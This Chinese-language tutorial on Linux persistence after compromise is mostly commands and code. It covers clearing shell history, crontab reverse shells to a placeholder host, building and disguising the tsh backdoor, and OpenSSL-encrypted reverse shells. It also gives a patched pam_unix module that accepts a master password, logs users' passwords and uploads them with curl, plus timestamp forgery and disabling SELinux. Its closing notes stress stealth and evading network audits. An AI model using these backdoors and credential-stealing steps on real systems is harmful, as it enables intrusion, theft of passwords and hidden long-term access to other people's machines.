linux权限维持
字数 575 2025-08-12 11:33:54
Linux权限维持技术详解
1. 信息收集与痕迹清理
1.1 虚拟机检测
# 查看是否为虚拟机
cat /proc/scsi/scsi
dmesg |grep -i vir
1.2 用户信息查看
w
who
1.3 无痕终端操作
unset HISTORY HISTFILE HISTLOG HISTSAVES
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
2. Crontab后门技术
2.1 基本反弹shell
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/0.0.0.0/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
# 另一种格式
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/0.0.0.0/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
2.2 直接编辑crontab文件
vim /etc/crontab
# 添加如下内容
60 * * * * root exec 9<> /dev/tcp/0.0.0.0/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i
2.3 Crontab服务管理
# 服务管理命令
service cron start # 启动服务
service cron stop # 关闭服务
service cron restart # 重启服务
service cron reload # 重新载入配置
service cron status # 查看状态
# 或使用init.d方式
/etc/init.d/cron start
/etc/init.d/cron stop
/etc/init.d/cron restart
/etc/init.d/cron reload
/etc/init.d/cron status
2.4 Debian系统特殊处理
ln -s -f bash /bin/sh
2.5 执行脚本方式
(crontab -l;echo '*/60 * * * * root /root/.test.sh')|crontab -
2.6 清除定时任务
crontab -r # 清空定时任务(不删除配置文件中的设置)
3. TSH后门工具
3.1 编译与配置
- 克隆项目
git clone https://github.com/orangetw/tsh.git
- 修改tsh.h文件
#ifndef _TSH_H
#define _TSH_H
char *secret = "1q2w3e4r";
#define SERVER_PORT 7586
#define FAKE_PROC_NAME "/bin/bash"
#define CONNECT_BACK_HOST "x.x.x.x"
#define CONNECT_BACK_DELAY 30
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3
#endif /* tsh.h */
- 编译
make linux
3.2 使用方式
- 控制端监听
chmod u+x tsh
./tsh cb
- 被控端运行
chmod u+x tshd
./tshd
3.3 伪装技巧
mv tshd /usr/sbin/bash
4. OpenSSL流量加密反弹shell
4.1 生成证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
4.2 服务端监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
4.3 客户端反弹
mkfifo /tmp/z; /bin/bash -i < /tmp/z 2>&1 | openssl s_client -quiet -connect x.x.x.x:443 > /tmp/z; rm -rf /tmp/z
5. PAM后门技术
5.1 准备工作
- 查看PAM版本
rpm -qa | grep pam
- 下载PAM源码
curl -O http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
5.2 修改PAM源码
- 修改pam_unix_auth.c文件
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp(p,"1q2w3e4r")==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/bin/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
system("curl -H 'Max-Downloads: 0' -H 'Max-Days: 7' --upload-file /bin/.sshlog http://127.0.0.1:8080/sshlog.txt -s -o /dev/null --connect-timeout 3");
}
name = p = NULL;
- 编译
./configure
make
5.3 替换PAM模块
- 备份原文件
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak
- 替换新模块
cp ./pam_unix.so /lib64/security/pam_unix.so
- 修改时间戳
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
5.4 SELinux处理
- 查看状态
getenforce
- 临时关闭
setenforce 0
- 设置上下文
ls -Z pam_unix.so.bak
chcon --reference=pam_unix.so.bak pam_unix.so
6. 文件传输技巧
6.1 使用transfer.sh
curl -H 'Max-Downloads: 0' -H 'Max-Days: 7' --upload-file /bin/.sshlog http://127.0.0.1:8080/sshlog.txt -s -o /dev/null --connect-timeout 3
注意事项
- 在Debian系统中,bash软链接可能需要特殊处理
- Crontab后门在Debian和CentOS中表现可能不同
- SELinux环境需要特别注意权限和上下文设置
- 所有操作应考虑隐蔽性和反检测措施
- 流量加密可有效规避网络审计
- 时间戳修改有助于隐藏后门文件